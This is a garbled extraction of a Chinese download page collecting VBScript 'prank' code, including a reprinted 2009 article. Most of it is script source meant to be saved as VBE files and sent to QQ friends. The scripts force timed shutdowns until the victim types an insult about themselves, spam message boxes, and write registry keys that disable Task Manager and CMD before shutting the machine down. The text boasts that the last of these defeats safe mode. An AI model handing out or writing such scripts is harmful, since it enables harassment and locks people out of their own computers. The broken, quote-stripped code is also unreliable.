vbs整人代码大全Word下载.docx

1、WScript.Echo（还剩 41下）WScript.Echo（还剩 40下）WScript.Echo（还剩 39下）WScript.Echo（还剩 38下）WScript.Echo（还剩 37下）WScript.Echo（还剩 36下）WScript.Echo（还剩 35下）WScript.Echo（还剩 34下）WScript.Echo（还剩 33下）WScript.Echo（还剩 32下）WScript.Echo（还剩 30下）WScript.Echo（还剩 29下）WScript.Echo（还剩 28下）WScript.Echo（还剩 27下）WScript.Echo（还剩 26下）

2、WScript.Echo（还剩 25下）WScript.Echo（还剩 24下）WScript.Echo（还剩 23下）WScript.Echo（还剩 22下）WScript.Echo（还剩 21下）WScript.Echo（还剩 20下）WScript.Echo（还剩 19下）WScript.Echo（还剩 18下）WScript.Echo（还剩 17下）WScript.Echo（还剩 16下）WScript.Echo（还剩 15下）WScript.Echo（还剩 14下）WScript.Echo（还剩 13下停停！慢点，我有话要说）WScript.Echo（还剩 12下，你继续点我就会消失

3、滴）WScript.Echo（还剩 11下，以后就看不到我拉。555555）WScript.Echo（还剩 10下，你现在可以选择停止！）WScript.Echo（还剩 9下。你还点啊，不要我拉？）WScript.Echo（还剩 8下，有点伤心拉，干嘛丢弃人家）WScript.Echo（还剩 7下。疯了，你有点负意！）WScript.Echo（还剩 6下。对。你就点吧，我恨你！）WScript.Echo（还剩 5下，不明白，删除我你就好吗？）WScript.Echo（还剩 4下！真要删除我？）WScript.Echo（还剩 3下。可是我真的很眷恋你。）WScript.Echo（还剩 2下。不要

4、这么绝情嘛，人家是爱你的！）WScript.Echo（还剩 1下。哼，既然你这么绝情。也别怪我无义！）WScript.Echo（我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。）WScript.Echo（想结素我么?那你就再多点一次）WScript.Echo（想结素我么?那你就再多点一次）两个整人的 VBS脚本 2009-07-16 18:16 文章录入：7747.Net 责任编辑：7747.Net 564【字体：小 大】测试环境：Windows 2003 系统 大家好 我是 Vanlisa QQ137841986 今天给大家带来两个整人的 VBS脚本 希望大家喜欢 VBS脚本大家都知

5、道吧 第一个是定时关机的 如果把他发给你的 QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是 3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 我们来看下这个脚本 复制代码 代码如下:on error resume next dim WSHshellA set WSHshellA=wscript.createobject（wscript.shell）WSHshellA.run cmd.exe/c shutdown-r-t 180-c 说我是猪，不说我是猪就一分钟关机，不信，试下,0,true dim a do while（a 我是猪）a=inputbox

6、（说我是猪,就不关机，快撒，说 我是猪,说不说,8000,7000）msgbox chr（13）+chr（13）+chr（13）+a,0,MsgBox loop msgbox chr（13）+chr（13）+chr（13）+早说就行了嘛 dim WSHshell set WSHshell=wscript.createobject（wscript.shell）WSHshell.run cmd.exe/c shutdown-a,0,true msgbox chr（13）+chr（13）+chr（13）+哈哈哈哈，好乖 新建一个记事本 把上面的代码复制进去 另存为 VBE格式的就可以了 cmd.ex

7、e/c shutdown-r-t 180-c 这里的数字可以修改关机时间 180秒 这些文字也可以自设 这个脚本启用 cmd 里的关机程序 如果不输的的话 可以打开任务管理器 输入 shutdown-a 来解除 我们试下 这时定时关机已 经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉 Wscript.exe 这个进程就OK 了 这时就完全解除这个脚本了 Wscript 时 Windows 脚本宿主-下面看第二个整人的脚本-复制代码 代码如下:set ws=createobject（wscript.shell）call shutdown（1）do while a我是猪 a=input

8、box（快在下面的框框里输入我是猪,否则后果自负，快输我是猪,输不输,）loop call shutdown（2）msgbox 早说就行了嘛,4096+64 msgbox再输一遍我是猪!,4096+64 msgbox我是猪!,4096+64 MsgBox最后一次!,4096+64 MsgBox如果你很快的点过去,不看的话,4096+64 MsgBox我就要你踩我空间的!哼!,4096+64 MsgBox从前有座山!,4096+64 MsgBox山里有个庙.,4096+64 MsgBox庙里有个老和尚在讲故事.,4096+64 ws.runiexplore.exe http:/msgbox哎呀累

9、了！数绵羊哄我睡觉,4096+64 for i=1 to 100 MsgBox i&只绵羊,4096+64 next msgbox哎呀我困了，这次就饶过你吧，下次注意哦!,4096+64 msgbox最后问个问题，我是不是大好人！,4096+64 if inputbox（是不是,请选择,是）是 then call shutdown（1）end if sub shutdown（s）select case s case 1 ws.runcmd.exe/c shutdown-r-t 60-c,0 case 2 ws.runcmd.exe/c shutdown-a,0 end select end s

10、ub-ws.runiexplore.exe http:/这段代码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i=1 to 100 从 1到 100 可以改成 20 其他的数字 解除这个 VBS脚本的办法就简单了 只是关掉任务管理器里 Wscript.exe 这个进程就好了 BY：2009QQ整人代码 复制代码 代码如下:set s=createobject（wscript.shell）set bag=getobject（winmgmts:.rootcimv2）set pipe=bag.execquery（select*from win32_proc

11、ess where name=wscript.exe）For Each id in pipe if instr（1,mandLine,wscript.scriptfullname）0 and pipe.count=2 then s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORD id.terminate（）else

12、 s.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORD s.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORD for i=1 to 60 s.popup系统将在&60-i&秒后关机.,1,系统提示,4096+48 next Set colOS=GetObject（winmgmts:（Shutdown）.ExecQuery（Select*FROM Win32_Operat

13、ingSystem）For Each eOs In colOS eOs.Win32Shutdown（2）Next end if Next color=#FF0000复制以上代码，在桌面建一个文本，把代码放进去，另存为 VBE格式，此代码的威力：1：开机就强制自动关机 2：cmd命令打不开 3：结束任务不管用 4：F8安全模式也不管用 呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第 2次保存的那个 VBE文件，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。拍拍手 顶起吧!2：代码如下:on error resume next dim WSHshellA set WSHshellA=wscript.createobject（wscript.shell）WSHshellA.run cmd.exe/c shutdown-r-t 60-c 说你是傻 B，我是天下第一大傻 B不说宝宝，我是天下第一大傻 B就一分钟关你机，不信，试试,0,true dim a do while（